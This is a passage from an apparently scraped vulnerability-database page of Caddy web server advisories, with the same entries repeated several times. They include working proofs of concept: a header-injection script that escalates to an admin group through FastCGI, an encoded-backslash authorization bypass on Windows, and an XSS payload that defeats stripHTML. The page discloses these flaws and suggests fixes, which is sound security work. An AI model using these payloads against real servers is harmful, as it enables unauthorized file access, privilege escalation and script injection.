< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 18, 2018

v0.10.12 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Mar 27, 2018

v0.10.11 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

